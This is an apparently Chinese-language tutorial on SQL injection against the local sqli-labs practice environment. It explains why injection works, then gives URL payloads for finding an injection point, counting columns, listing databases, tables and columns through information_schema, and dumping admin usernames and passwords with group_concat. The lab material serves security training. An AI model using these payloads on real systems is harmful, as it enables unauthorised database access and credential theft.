sql注入

sql注入的原理分析

注入攻击的本质:是把用户输入的数据当作代码执行
sql注入:针对sql语句的注入,也可以理解为用户输入的数据当作sql语句的代码执行

两个关键条件:

  • 第一是用户能够控制输入
  • 第二是原本程序要执行的代码,拼接了用户输入的数据

显错注入-联合查询

联合查询是拼接在原查询语句下,要求结果数量与原结果数量相同。

select * from security.users where id=1 union select 1,2,3;

1,2,3并无特殊含义,换成其他数字或字符串也可以.

语法

注释:# , –

手工测试是否存在注入点

1
2
3
4
5
6
7
8
9
10
sqli-labs 下载地址:https://github.com/Audi-1/sqli-labs


http://127.0.0.1:8080/?id=1' (报错)

http://127.0.0.1:8080/?id=1 and 1=1 --+ (正常)

http://127.0.0.1:8080/?id=1 and 1=2 --+ (报错)

存在注入

如果服务器没有进行防注入过滤的话,sql语句会变成这样: select * from orders where 1=1 and 1=2 and 1=1;

猜字段

http://127.0.0.1:8080/?id=1 order by 2 (尝试不同的字段数直到页面在正常和不正常之间)

查库名

http://127.0.0.1:8080/?id=1 union select 1,database() limit 1,1 --+

((union 联合语句) (limit子句可以用于强制select语句返回制定的记录数,limit接受一个或两个数字的参数,如果给定两个参数第一个指定返回记录行的偏移量,第二个指定返回记录行的最大数目。) )

查表名

1
http://127.0.0.1:8080/?id=1 union select 1,table_name from information_schema.tables where table_schema = 'maoshe' limit 1,1--

查字段

1
http://127.0.0.1:8080/?id=1 union select 1,column_name from information_schema.columns where table_schema = 'maoshe' and table_name = 'admin' limit 1,1 --

查字段内容

1
2
3
http://127.0.0.1:8080/?id=1 union select 1,username from admin limit 1,1 --

http://127.0.0.1:8080/?id=1 union select 1,group_concat(id,username,password) from admin limit 1,1 --
0%